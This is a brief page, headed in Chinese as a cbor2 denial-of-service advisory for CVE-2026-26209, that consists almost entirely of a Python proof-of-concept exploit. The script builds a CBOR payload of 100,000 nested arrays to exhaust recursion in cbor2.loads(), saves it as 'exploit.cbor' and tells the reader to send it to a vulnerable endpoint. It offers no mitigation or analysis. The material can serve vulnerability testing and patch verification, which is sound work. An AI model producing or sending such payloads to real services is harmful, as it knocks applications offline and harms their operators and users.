CVE-2026-26209 cbor2库拒绝服务漏洞

# PoC for CVE-2026-26209 # Generates a deeply nested CBOR payload to trigger RecursionError def generate_malicious_cbor(depth=100000): """ Generates a CBOR payload with 'depth' levels of nested arrays. CBOR format for an array with one element is 0x81. """ # Start with a simple integer (e.g., 0) payload = b'\x00' # Prepend the array byte 'depth' times for _ in range(depth): payload = b'\x81' + payload return payload if __name__ == "__main__": print("Generating malicious CBOR payload...") # Create a payload with 100,000 nested arrays malicious_data = generate_malicious_cbor(100000) print(f"Payload size: {len(malicious_data)} bytes") # Save to file with open("exploit.cbor", "wb") as f: f.write(malicious_data) print("Saved to exploit.cbor. Send this to a vulnerable cbor2.loads() endpoint.") # To test locally (will crash if vulnerable): # import cbor2 # cbor2.loads(malicious_data)